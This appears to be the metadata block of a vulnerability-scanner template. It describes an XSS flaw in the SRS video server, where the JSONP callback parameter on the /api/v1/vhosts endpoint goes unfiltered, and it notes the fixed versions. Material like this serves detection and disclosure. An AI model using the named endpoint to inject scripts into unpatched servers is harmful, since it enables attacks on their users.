info:
  name: HTTP API DOM - XSS on JSONP callback
  author: rootxharsh,iamnoooob,pdresearch
  severity: high
  description: |
    SRS is a simple, high-efficiency, real-time video server. SRS's `/api/v1/vhosts/vid-<id>?callback=<payload>` endpoint didn't filter the callback function name which led to injecting malicious javascript payloads and executing XSS ( Cross-Site Scripting). This vulnerability is fixed in 5.0.210 and 6.0.121.
